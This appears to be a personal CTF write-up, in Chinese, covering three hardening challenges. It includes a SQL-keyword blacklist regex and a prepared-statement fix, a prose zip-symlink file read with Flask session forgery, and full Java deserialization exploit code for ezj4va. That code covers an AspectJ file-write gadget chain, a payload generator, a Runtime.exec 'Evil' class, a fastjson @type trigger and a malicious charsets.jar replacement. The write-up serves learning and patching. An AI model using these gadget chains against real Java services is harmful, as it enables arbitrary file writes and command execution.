学习一下加固题的做法
ezsql
ssh连接之后 访问/var/www/html
tar打包下载源码
1
| tar -czvf /tmp/1.tar.gz ../html
|
查看源码
输入的参数没有经过任何的过滤 直接就输入到数据库中执行查找 存在sql注入
简单测试一下
写一个正则匹配看一下
1 2 3 4 5 6
| if(preg_match("/select|and|\"|\'| |or|\+|=|like|databaese|\\|,|.|&|limit|%|group_concat|schema_name|schemata|extractvalue|~|updatexml|from|union|where|columns|--|show|/i",$password)){ die("用户名或密码错误"); } if(preg_match("/select|and|\"|\'| |or|\+|=|like|databaese|\\|,|.|&|limit|%|group_concat|schema_name|schemata|extractvalue|~|updatexml|from|union|where|columns|--|show|/i",$username)){ die("用户名或密码错误"); }
|
然后访问check
不幸的是 check没过。
既然闭合符号都被过滤了依然不能过check 显然就不是简单的添加blacklist能够过去的
sql预处理
预处理语句用于执行多个相同的 SQL 语句,并且执行效率更高
同时由于不是直接将相关的参数与已知的sql语句进行拼接 阻止了sql注入的发生
举个例子
1 2 3 4 5
| $link = new mysqli('127.0.0.1', 'root', 'root', 'books'); $stmt = $link->prepare("select * from books where name = ? AND price = ?"); $stmt->bind_param("ss", $name, $price); $stmt->execute(); $stmt->bind_result($username, $pawweord);
|
这里首先创建一个mysql连接
然后创建一个mysqli_prepare()函数
若执行成功(参数语句正确无误),返回一个statement(STMT)对象;但是如果发生错误,则返回FALSE;
1
| $stmt->bind_param("ss", $name, $price);
|
将变量绑定到对应的?处 第一个 参数代表的是s代表参数是字符串
第二个参数代表的是?所对应的参数
1 2 3 4
| i - integer(整型) d - double(双精度浮点型) s - string(字符串) b - BLOB(binary large object:二进制对象)
|
然后执行语句
将结果储存在储存语句中
1
| $stmt->bind_result($username, $pawweord);
|
添加这个之后 我成功获取了flag
特殊字符转义
看了看网上的wp 很多人使用了 addslashes() 函数
1 2 3 4 5 6 7 8
| addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。 预定义字符是:
单引号(') 双引号(") 反斜杠(\) NULL 该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。
|
这样我们注入的时候 非法字符如‘ 就会被过滤 阻止了注入的发生
[CISCN2021 总决赛]babypython
老样子 打包下来看看
1
| tar -czvf /tmp/1.tar.gz /app
|
关键代码在这里
服务允许我们上传一个zip文件 然后会在服务端进行解压 读取里面的文件内容 读取之后将文件内容显示出来 然后删除相关文件
unzip软连接攻击
通过创建一个指向系统文件的软连接
然后使用zip压缩为压缩包
然后上传
在解压的时候 软连接自动指向为我们想要访问的目录
如果里面包含一句话木马 我们就可以将这个一句话木马上传导指定的目录下
然后访问就可以getshell
这里我们可以实现读取任意文件
这里显然是要配合flask伪造
uuid
uuid是随机生成的字符串 但是他的种子是本地的mac
我们可以通过读取mac地址 获取uuid生成的随机字符串 计算出key
我们可以上传一个指向mac地址的软连接 获取mac之后计算处key 然后伪造session
伪造即可
这里有个大坑 读取出来的mac和本地ssh链接上去读取的mac的值 不一样
修复
修复方法也简单 直接换掉那个使用的库 不用uuid去作为session的key即可
[CISCN2021 总决赛]ezj4va
访问www.zip 下载获取到源码
注意到
调用的方法在这里
传入的两个值是
一个来源于直接get传递的参数 一个来源于cookie里面的值
aspectj链子
在 org.aspectj.weaver.tools.cache.SimpleCache
类中定义了一个内部类 StoreableCachingMap 提供了一个writeToPath将value写入文件的方法
在 put方法里面 存在这样的调用
这里会调用writeToPath方法
触发这个put方法 就可以成功写入文件
lazymap 在transfrom之后 可以调用内部的map的put方法 对结果进行保存 这里就会触发put方法
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| package org.example.aspectj;
import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import org.aspectj.weaver.tools.cache.SimpleCache;
import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.nio.charset.StandardCharsets; import java.util.*;
public class test { public static void main(String[] args) throws Exception{ Class clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap"); Constructor declaredConstructor = clazz.getDeclaredConstructor(String.class,int.class); declaredConstructor.setAccessible(true); HashMap map = (HashMap)declaredConstructor.newInstance("D:\\\\", 123); ConstantTransformer constantTransformer = new ConstantTransformer("evil code".getBytes(StandardCharsets.UTF_8)); Map outerMap = LazyMap.decorate(map,constantTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"1.txt"); HashSet hashSet = new LinkedHashSet(1); hashSet.add(tiedMapEntry); outerMap.remove("1.txt"); serialize(hashSet); unserialize("bin.ser");
} public static void serialize(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("bin.ser")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws Exception { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
调用链如下
成功写入文件
回到题目
这里没有cc的依赖 我们不能利用tiedmapectry的hashcode触发 lazymap的get方法 我们得寻找其他的方法
注意到
这里直接就进行了一个put方法 能触发我们的注入
【程序员比赛】CISCN 2021 ezj4va与Fix思路 - 掘金 (juejin.cn)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| public static String readFile(String filePath) throws Exception{ FileInputStream fis = new FileInputStream(filePath); int size = fis.available(); System.out.println(size); byte[] array = new byte[size]; fis.read(array); String result = new String(array); result = result.replaceAll("\r|\n", ""); fis.close(); return result; }
public static Cart cookiePayload() throws Exception { Cart cart = new Cart(); Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap"); Object simpleCache = ctor.newInstance(".", 12); cart.setSkuDescribe((Map<String, Object>) simpleCache); return cart; }
public static Cart getPayload() throws Exception { Map map = new HashMap(); Cart cart = new Cart(); String filepath = "1.txt"; String data = readFile(filepath); map.put("2.txt",data.getBytes(StandardCharsets.UTF_8)); cart.setSkuDescribe(map); return cart; }
public static String getURLEncoderString(String str) { String result = ""; if (null == str) { return ""; } try { result = java.net.URLEncoder.encode(str, "UTF-8"); } catch (UnsupportedEncodingException e) { e.printStackTrace(); } return result; }
public static String URLDecoderString(String str) { String result = ""; if (null == str) { return ""; } try { result = java.net.URLDecoder.decode(str, "UTF-8"); } catch (UnsupportedEncodingException e) { e.printStackTrace(); } return result; }
public static String Exp(Cart poc)throws Exception{ ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(poc); baos.close(); return (new BASE64Encoder().encode(baos.toByteArray()).replace("\r\n", "")); }
public static void main(String[] args) throws Exception { System.out.println("--------------------------------------------get数据-------------------------------------------"); System.out.println(getURLEncoderString(Exp(getPayload()))); System.out.println("--------------------------------------------cookie数据----------------------------------------"); System.out.println(Exp(cookiePayload())); }
|
写入文件到 java/home/jre/classes下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| import java.io.IOException;
public class Evil implements AutoCloseable {
static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { e.printStackTrace(); } }
@Override public void close() throws Exception {
} }
|
触发加载的payload
1 2 3 4
| { "@type":"java.lang.AutoCloseable", "@type":"Evil" }
|
也可以替换charsets.jar
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| package sun.nio.cs.ext;
import java.io.IOException; import java.nio.charset.Charset; import java.nio.charset.spi.CharsetProvider; import java.util.Iterator;
public class ExtendedCharsets extends CharsetProvider{ public ExtendedCharsets() { try { Runtime.getRuntime().exec("cmd /c calc"); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } }
@Override public Iterator<Charset> charsets() { // TODO Auto-generated method stub return null; }
@Override public Charset charsetForName(String charsetName) { // TODO Auto-generated method stub return null; } }
|
只要运行jvm或者编译字节码 就会触发命令执行
修复
这里反序列化的时候 加一个过滤 把payload里面的几个危险类过滤掉即可
太难了 后面的就没看了 这个java就做不太来了